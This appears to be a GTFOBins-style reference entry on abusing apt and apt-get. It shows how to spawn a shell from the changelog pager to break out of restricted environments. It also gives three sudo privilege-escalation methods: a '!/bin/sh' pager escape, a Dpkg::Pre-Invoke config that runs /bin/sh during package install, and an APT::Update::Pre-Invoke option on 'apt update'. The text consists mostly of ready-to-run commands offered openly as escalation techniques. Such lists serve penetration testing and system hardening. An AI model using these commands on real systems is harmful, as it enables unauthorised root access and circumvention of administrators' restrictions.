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Shell
Sudo

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

This invokes the default pager, which is likely to be less, other functions may apply.
```
apt-get changelog apt
!/bin/sh
```

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

This invokes the default pager, which is likely to be less, other functions may apply.
```
sudo apt-get changelog apt
!/bin/sh
```

For this to work the target package (e.g., sl) must not be installed.

TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt install -c $TF sl

When the shell exits the update command is actually executed.
```
sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh
```